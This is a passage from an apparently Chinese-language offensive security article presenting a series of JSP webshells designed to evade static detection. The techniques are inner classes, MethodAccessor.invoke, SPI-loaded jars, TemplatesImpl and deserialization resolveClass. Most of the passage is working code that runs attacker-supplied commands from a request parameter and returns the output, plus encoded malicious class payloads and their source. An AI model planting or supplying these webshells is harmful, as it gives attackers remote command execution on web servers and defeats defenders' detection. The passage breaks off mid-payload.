                    method.setAccessible(true);
                    o = method;
                    oo = clz;
                    ooo = new Object[]{s.split(" "), null, null, null, false};
                }
            }

            public A() throws ClassNotFoundException, NoSuchMethodException {
                b = new B();
            }

            public Object invokex()
                    throws InvocationTargetException, IllegalAccessException {
                return MethodUtil.invoke(b.o, b.oo, b.ooo);
            }
        }

        Process process = (Process) new A().invokex();
        InputStream inputStream = process.getInputStream();
        StringBuilder stringBuilder = new StringBuilder();
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
        String line;
        while ((line = bufferedReader.readLine()) != null) {
            stringBuilder.append(line).append("\n");
        }
        if (stringBuilder.length() > 0) {
            response.getOutputStream().write(stringBuilder.toString().getBytes());
        }
    } catch (Exception e) {
        e.printStackTrace();
    }

%>
</body>
</html>

八、使用内部类绕某云检测java.lang.ProcessBuilder以及invoke的JSP Webshell

<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<html>
<body>
<h2>java.lang.ProcessBuilder JSP Webshell</h2>
<%
    try {
        final String cmd = request.getParameter("threedr3am");
        class Threedr3am_8 {
            Threedr3amX threedr3amX;
            class Threedr3amX {
                private Process process;
                public Threedr3amX() throws IOException {
                    process = new ProcessBuilder().command(cmd.split(" ")).start();
                }
            }
            public Threedr3am_8() throws IOException {
                threedr3amX = new Threedr3amX();
            }
            public String echo() throws IOException {
                Process process = threedr3amX.process;
                InputStream inputStream = process.getInputStream();
                StringBuilder stringBuilder = new StringBuilder();
                BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
                String line;
                while ((line = bufferedReader.readLine()) != null) {
                    stringBuilder.append(line).append("\n");
                }
                return stringBuilder.toString();
            }
        }
        response.getOutputStream().write(new Threedr3am_8().echo().getBytes());
    } catch (Exception e) {
        e.printStackTrace();
    }

%>
</body>
</html>

九、利用MethodAccessor.invoke绕过检测Method.invoke的JSP Webshell

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Map" %>
<%@ page import="sun.reflect.ReflectionFactory" %>
<%@ page import="java.security.AccessController" %>
<%@ page import="sun.reflect.MethodAccessor" %>
<html>
<body>
<h2>MethodAccessor.invoke绕过检测Method.invoke的JSP Webshell</h2>
<%!
    public static class Threedr3am_9 {
        public static final Class clz = Class.forName("java.lang.ProcessImpl");
        public static Object[] ooo;
    }
%>
<%
    String s = request.getParameter("threedr3am");
    Threedr3am_9.ooo = new Object[]{s.split(" "), null, null, null, false};
    Method method = Threedr3am_9.clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
    method.setAccessible(true);
    ReflectionFactory reflectionFactory = AccessController.doPrivileged(new sun.reflect.ReflectionFactory.GetReflectionFactoryAction());
    MethodAccessor methodAccessor = reflectionFactory.newMethodAccessor(method);
    Process process = (Process) methodAccessor.invoke(null, null);
    InputStream inputStream = process.getInputStream();
    StringBuilder stringBuilder = new StringBuilder();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
    String line;
    while ((line = bufferedReader.readLine()) != null) {
        stringBuilder.append(line).append("\n");
    }
    if (stringBuilder.length() > 0) {
        response.getOutputStream().write(stringBuilder.toString().getBytes());
    }
%>
</body>
</html>

如果遇到了禁用Method.invoke的情况,我们还能使用MethodAccessor.invoke进行反射调用方法。

十、使用了SPI机制的ScriptEngineManager自动加载实例化JSP Webshell

<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.util.Random" %>
<%@ page import="java.io.File" %>
<%@ page import="java.nio.file.Files" %>
<%@ page import="java.nio.file.Paths" %>
<%@ page import="java.util.Base64" %>
<%@ page import="javax.script.ScriptEngineFactory" %>
<%@ page import="java.util.ServiceLoader" %>
<%@ page import="java.util.Iterator" %>
<html>
<body>
<h2>SPI机制的ScriptEngineManager自动加载实例化JSP Webshell</h2>
<%
    String tmp = System.getProperty("java.io.tmpdir");
    Random random = new Random();
    String jarPath = tmp + File.separator + "cve-" + random.nextInt(1000000) + ".jar";
    String inputFile = tmp + File.separator + "jabdhjabdjkandaldlanaklndkand.txt";
    String s = request.getParameter("threedr3am");
    if (Files.exists(Paths.get(inputFile)))
        Files.delete(Paths.get(inputFile));
    Files.write(Paths.get(inputFile), s.getBytes());

    if (Files.exists(Paths.get(jarPath)))
        Files.delete(Paths.get(jarPath));
    Files.write(Paths.get(jarPath), Base64.getDecoder().decode("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"));
    try {
        Iterator<ScriptEngineFactory> iterator = ServiceLoader
                .load(ScriptEngineFactory.class, new URLClassLoader(new URL[]{new URL("file:" + jarPath)})).iterator();
        while (iterator.hasNext())
            iterator.next();
    } catch (Throwable e) {
        response.getOutputStream().write(e.getCause().getMessage().getBytes());
    }
%>
</body>
</html>

java的spi机制,具体也很简单,我也不想描述,可以去查查资料,这里的base64的内容,其实就是自行编译的一个jar包,其中有个恶意类实现了ScriptEngineFactory,在调用new ScriptEngineManager(new URLClassLoader(new URL[]{new URL("file://" + jarPath)}));,其中的代码实现会加载jar包内的META-INF/services/javax.script.ScriptEngineFactory文件,读取class名,然后从jar包中加载并实例化,这样就能触发恶意类的代码执行了。

而这个jsp webshell的逻辑,利用了写临时文件,把jar写到临时目录持久化,让URLClassLoader能不出网本地加载,然后寄存用户shell命令到临时目录下的文件jabdhjabdjkandaldlanaklndkand.txt,接着在加载jar执行完命令后,把输出结果寄存在临时目录下的文件jfkdjkadnkladmknjknfkjnadkad.txt,最后在jsp中对其内容进行读取回显。

恶意class的内容是这样的:

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.List;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.File

/**
 * @author LaoHaiScript
 */
public class LaoHaiScript implements ScriptEngineFactory {

  public LaoHaiScript() {
    try {
      String tmp = System.getProperty("java.io.tmpdir");
      String inputFile = tmp + File.separator + "jabdhjabdjkandaldlanaklndkand.txt";
      String outputFile = tmp + File.separator + "jfkdjkadnkladmknjknfkjnadkad.txt";
      InputStream inputStream = Runtime.getRuntime().exec(new String(Files.readAllBytes(Paths.get(inputFile))).split(" ")).getInputStream();
      StringBuilder stringBuilder = new StringBuilder();
      BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
      String line;
      while((line = bufferedReader.readLine()) != null) {
        stringBuilder.append(line).append("\n");
      }
      if (Files.exists(Paths.get(outputFile)))
        Files.delete(Paths.get(outputFile));
      Files.write(Paths.get(outputFile), stringBuilder.toString().getBytes());
    } catch (Throwable e) {
      e.printStackTrace();
    }
  }

  @Override
  public String getEngineName() {
    return null;
  }

  @Override
  public String getEngineVersion() {
    return null;
  }

  @Override
  public List<String> getExtensions() {
    return null;
  }

  @Override
  public List<String> getMimeTypes() {
    return null;
  }

  @Override
  public List<String> getNames() {
    return null;
  }

  @Override
  public String getLanguageName() {
    return null;
  }

  @Override
  public String getLanguageVersion() {
    return null;
  }

  @Override
  public Object getParameter(String key) {
    return null;
  }

  @Override
  public String getMethodCallSyntax(String obj, String m, String... args) {
    return null;
  }

  @Override
  public String getOutputStatement(String toDisplay) {
    return null;
  }

  @Override
  public String getProgram(String... statements) {
    return null;
  }

  @Override
  public ScriptEngine getScriptEngine() {
    return null;
  }
}

META-INF/services/javax.script.ScriptEngineFactory文件的内容:

LaoHaiScript

十一、利用TemplatesImpl触发的JSP Webshell

<%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" %>
<%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl" %>
<%@ page import="java.io.File" %>
<%@ page import="java.io.FileInputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.nio.file.Files" %>
<%@ page import="java.nio.file.Paths" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="sun.misc.IOUtils" %>
<%@ page import="sun.reflect.misc.FieldUtil" %>
<html>
<body>
<h2>利用TemplatesImpl触发的JSP Webshell</h2>
<%
    String tmp = System.getProperty("java.io.tmpdir");
    String inputFile = tmp + File.separator + "jabdhjabdjkandaldlanaklndkand.txt";
    String outputFile = tmp + File.separator + "jfkdjkadnkladmknjknfkjnadkad.txt";
    String s = request.getParameter("threedr3am");
    if (Files.exists(Paths.get(inputFile)))
        Files.delete(Paths.get(inputFile));
    Files.write(Paths.get(inputFile), s.getBytes());

    TemplatesImpl t = new TemplatesImpl();
    Field field = FieldUtil.getDeclaredFields(t.getClass())[4];
    byte[][] bytes = new byte[1][];
    bytes[0] = Base64.getDecoder().decode("yv66vgAAADQAjwoAJgA5CAA6CgA7ADwHAD0KAAQAOQoABAA+CQA/AEAIAEEKAAQAQggAQwoARABFBwBGCgBHAEgKAEkASgoADABLCABMCABNCgAMAE4IAE8KAAwAUAoARABRCgBSAFMHAFQHAFUKABgAVgoAFwBXCgAXAFgIAFkHAFoKAEkAWwoASQBcCgAMAF0HAF4KAEkAXwcAYAoAIwBhBwBiBwBjAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEADVN0YWNrTWFwVGFibGUHAGIHAEYHAGQHAD0HAFQHAGABAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApFeGNlcHRpb25zBwBlAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBABJUaHJlZWRyM2FtXzExLmphdmEMACcAKAEADmphdmEuaW8udG1wZGlyBwBmDABnAGgBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAaQBqBwBrDABsAG0BAANjbWQMAG4AbwEABnJlc3VsdAcAcAwAcQByAQAQamF2YS9sYW5nL1N0cmluZwcAcwwAdAB1BwB2DAB3AHgMACcAeQEAASUBAAAMAHoAewEAASAMAHwAfQwAfgB/BwCADACBAIIBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAJwCDDAAnAIQMAIUAbwEAAQoBABhqYXZhL25pby9maWxlL0xpbmtPcHRpb24MAIYAhwwAiACJDACKAIsBABhqYXZhL25pby9maWxlL09wZW5PcHRpb24MAIwAjQEAE2phdmEvbGFuZy9UaHJvd2FibGUMAI4AKAEADVRocmVlZHIzYW1fMTEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JbnB1dFN0cmVhbQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAMamF2YS9pby9GaWxlAQAJc2VwYXJhdG9yAQASTGphdmEvbGFuZy9TdHJpbmc7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEAE2phdmEvbmlvL2ZpbGUvUGF0aHMBAANnZXQBADsoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9uaW8vZmlsZS9QYXRoOwEAE2phdmEvbmlvL2ZpbGUvRmlsZXMBAAxyZWFkQWxsQnl0ZXMBABgoTGphdmEvbmlvL2ZpbGUvUGF0aDspW0IBAAUoW0IpVgEAB3JlcGxhY2UBAEQoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2xhbmcvU3RyaW5nOwEABXNwbGl0AQAnKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbGFuZy9TdHJpbmc7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZleGlzdHMBADIoTGphdmEvbmlvL2ZpbGUvUGF0aDtbTGphdmEvbmlvL2ZpbGUvTGlua09wdGlvbjspWgEABmRlbGV0ZQEAFyhMamF2YS9uaW8vZmlsZS9QYXRoOylWAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAFd3JpdGUBAEcoTGphdmEvbmlvL2ZpbGUvUGF0aDtbQltMamF2YS9uaW8vZmlsZS9PcGVuT3B0aW9uOylMamF2YS9uaW8vZmlsZS9QYXRoOwEAD3ByaW50U3RhY2tUcmFjZQAhACUAJgAAAAAAAwABACcAKAABACkAAAFwAAUACAAAANsqtwABEgK4AANMuwAEWbcABSu2AAayAAe2AAYSCLYABrYACU27AARZtwAFK7YABrIAB7YABhIKtgAGtgAJTrgAC7sADFksA70ADLgADbgADrcADxIQEhG2ABISE7YAFLYAFbYAFjoEuwAEWbcABToFuwAXWbsAGFkZBLcAGbcAGjoGGQa2ABtZOgfGABMZBRkHtgAGEhy2AAZXp//oLQO9AAy4AA0DvQAduAAemQAOLQO9AAy4AA24AB8tA70ADLgADRkFtgAJtgAgA70AIbgAIlenAAhMK7YAJLEAAQAEANIA1QAjAAIAKgAAAEIAEAAAABIABAAUAAoAFQAkABYAPgAYAGcAGQBwABoAggAcAI0AHQCdAB8ArwAgALoAIQDSACQA1QAiANYAIwDaACUAKwAAADMABf8AggAHBwAsBwAtBwAtBwAtBwAuBwAvBwAwAAD8ABoHAC0c/wAaAAEHACwAAQcAMQQAAQAyADMAAgApAAAAGQAAAAMAAAABsQAAAAEAKgAAAAYAAQAAACoANAAAAAQAAQA1AAEAMgA2AAIAKQAAABkAAAAEAAAAAbEAAAABACoAAAAGAAEAAAAwADQAAAAEAAEANQABADcAAAACADg=");
    field.setAccessible(true);
    field.set(t, bytes);

    Field field2 = FieldUtil.getDeclaredFields(t.getClass())[12];
    field2.setAccessible(true);
    field2.set(t, TransformerFactoryImpl.newInstance());

    Field field3 = FieldUtil.getDeclaredFields(t.getClass())[3];
    field3.setAccessible(true);
    field3.set(t, "threedr3am");

    Field field4 = FieldUtil.getDeclaredFields(t.getClass())[7];
    field4.setAccessible(true);
    field4.set(t, new HashMap<>());

    try {
        t.getOutputProperties();
    } catch (Exception e) {}

    String resutl = new String(IOUtils.readFully(new FileInputStream(new File(outputFile)), -1, true));
    response.getOutputStream().write(resutl.getBytes());
%>
</body>
</html>

熟悉java原生反序列化gadget的人,看到这个TemplatesImpl应该都比较熟悉了吧,这个类是很多gadget的核心,利用它实现了加载自定义恶意class并实例化,如果遇到了某些静态检测引擎对URLClassLoader的或者ClassLoader的检测,那么,就可以使用TemplatesImpl对其进行绕过。

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.BufferedReader;
import java.io.File;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.nio.file.Files;
import java.nio.file.Paths;

/**
 * @author threedr3am
 */
public class Threedr3am_11 extends AbstractTranslet {

  public Threedr3am_11() {
    try {
      String tmp = System.getProperty("java.io.tmpdir");
      String inputFile = tmp + File.separator + "cmd";
      String outputFile = tmp + File.separator + "result";
      InputStream inputStream = Runtime
          .getRuntime().exec(new String(Files.readAllBytes(Paths.get(inputFile))).replace("%", "").split(" ")).getInputStream();
      StringBuilder stringBuilder = new StringBuilder();
      BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
      String line;
      while((line = bufferedReader.readLine()) != null) {
        stringBuilder.append(line).append("\n");
      }
      if (Files.exists(Paths.get(outputFile)))
        Files.delete(Paths.get(outputFile));
      Files.write(Paths.get(outputFile), stringBuilder.toString().getBytes());
    } catch (Throwable e) {
      e.printStackTrace();
    }
  }

  @Override
  public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

  }

  @Override
  public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
      throws TransletException {

  }
}

十二、重写ObjectInputStream.resolveClass实现反序列化readObject触发的JSP Webshell

<%@ page import="java.io.ByteArrayInputStream" %>
<%@ page import="java.io.File" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ObjectInputStream" %>
<%@ page import="java.io.ObjectStreamClass" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.nio.file.Files" %>
<%@ page import="java.nio.file.Paths" %>
<%@ page import="java.util.Base64" %>
<html>
<body>
<h2>重写ObjectInputStream.resolveClass实现反序列化readObject触发的JSP Webshell</h2>
<%
    class Custom extends ObjectInputStream {

        public Custom(InputStream in) throws IOException {
            super(in);
        }

        @Override
        protected Class<?> resolveClass(ObjectStreamClass desc)
                throws IOException, ClassNotFoundException {
            String name = desc.getName();
            String tmp = System.getProperty("java.io.tmpdir");
            Files.write(Paths.get(tmp + File.separator + "CMD"), request.getParameter("threedr3am").getBytes());
            Files.write(Paths.get(tmp + File.separator + "Threedr3am_12.class"), Base64.getDecoder().decode("yv66vgAAADQAtgoAJgBXBwBYCgACAFcIAFkKAFoAWwkAWgBcCgBdAF4HAF8KAAIAYAkAYQBiCABjCgACAGQKAGUAZgoAZwBoCgAIAGkKAGoAawoAagBsCgBtAG4HAG8HAHAKABQAcQoAEwByCgATAHMIAHQHAHUKABkAdgoAGQB3BwB4CgAcAFcHAHkKAB4AegcAewoAIABXCgAeAHwKAH0AfgoAHAB/CgCAAIEHAIIHAIMBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFAAAAAAAAAAEBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkxYWFhYOwEACnJlYWRPYmplY3QBAB4oTGphdmEvaW8vT2JqZWN0SW5wdXRTdHJlYW07KVYBAAN0bXABABJMamF2YS9sYW5nL1N0cmluZzsBAANjbWQBAAtpbnB1dFN0cmVhbQEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAEbGluZQEAAWUBABVMamF2YS9sYW5nL1Rocm93YWJsZTsBAAJpcwEAG0xqYXZhL2lvL09iamVjdElucHV0U3RyZWFtOwEADXN0cmluZ0J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQANU3RhY2tNYXBUYWJsZQcAewcAhAcAWAcAXwcAhQcAbwcAdQEACkV4Y2VwdGlvbnMBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAVYnl0ZUFycmF5T3V0cHV0U3RyZWFtAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwcAhgcAhwEAClNvdXJjZUZpbGUBAAlYWFhYLmphdmEMAC0ALgEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAOamF2YS5pby50bXBkaXIHAIgMAIkAigwAiwCMBwCNDACOAI8BABBqYXZhL2xhbmcvU3RyaW5nDACQAJEHAJIMAJMANwEAA0NNRAwAlACVBwCWDACXAJgHAJkMAJoAmwwALQCcBwCdDACeAJ8MAKAAoQcAogwAowCkAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIMAC0ApQwALQCmDACnAJUBAAEKAQATamF2YS9sYW5nL1Rocm93YWJsZQwAqAAuDAAtAI8BAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQEAGmphdmEvaW8vT2JqZWN0T3V0cHV0U3RyZWFtDAAtAKkBAARYWFhYDACqAKsHAKwMAK0AsAwAsQCyBwCzDAC0ALUBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBABlqYXZhL2lvL09iamVjdElucHV0U3RyZWFtAQATamF2YS9pby9JbnB1dFN0cmVhbQEAE2phdmEvaW8vSU9FeGNlcHRpb24BACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAxqYXZhL2lvL0ZpbGUBAAlzZXBhcmF0b3IBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9uaW8vZmlsZS9QYXRocwEAA2dldAEAOyhMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL25pby9maWxlL1BhdGg7AQATamF2YS9uaW8vZmlsZS9GaWxlcwEADHJlYWRBbGxCeXRlcwEAGChMamF2YS9uaW8vZmlsZS9QYXRoOylbQgEABShbQilWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAD3ByaW50U3RhY2tUcmFjZQEAGShMamF2YS9pby9PdXRwdXRTdHJlYW07KVYBAAt3cml0ZU9iamVjdAEAFShMamF2YS9sYW5nL09iamVjdDspVgEAEGphdmEvdXRpbC9CY